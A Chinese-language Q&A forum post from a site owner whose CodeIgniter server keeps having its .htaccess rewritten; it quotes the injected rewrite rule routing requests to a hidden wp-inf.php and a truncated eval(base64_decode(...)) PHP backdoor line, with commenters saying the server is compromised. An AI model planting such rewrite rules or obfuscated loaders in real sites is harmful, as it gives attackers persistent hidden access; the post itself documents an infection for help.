【发布时间】:2015-02-27 15:22:18
【问题描述】:
我有一个使用 codeigniter 构建的网站,我去年安装了 wordpress 来创建一个博客。但是从 3 周前开始,当我尝试访问我的管理站点并出现 codeigniter 404 错误时,问题就开始了。所以我意识到问题是 .htaccess 以某种方式是由某些东西编写的。我认为是wordpress,我删除了添加的代码,一切都很好,但是再次写入了htaccess,所以我删除了包含所有wordpress文件的博客文件夹,问题又出现了,然后我删除了wp_表我的数据库,但问题仍然存在。 已经写好的代码是:
# BEGIN SYSTEM API
RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^al/(.*)$ myfolder/wp-inf.php?$1 [L]
# END SYSTEM API
我搜索了 wp-inf.php 文件,发现如下内容:
<? eval(base64_decode("ICAgIGVycm9yX3JlcG9ydGluZygwKTsgICRscnUgPSAiZ2c.....")); ?>
我不知道该做什么或在哪里可以找到一直在编写我的 htaccess 的文件。我一直在清理和删除一些文件,但什么也没有。
希望你能帮我解决这个问题。 谢谢
编辑:****** 如果我解码 base64_decode 里面的内容,就会出现:
error_reporting(0); $lru = "gg/4623696-260514551155404-520n89823525745/765s127r625o9
(edited)
}echo $result; exit; }
【问题讨论】:
-
烧掉你的服务器,重新开始。您的 VPS 已被感染。
-
您的服务器已被入侵,请立即联系您的托管服务提供商。
-
是的。 .. 联系服务器管理员。
-
太糟糕了。祝你好运
标签: php wordpress .htaccess codeigniter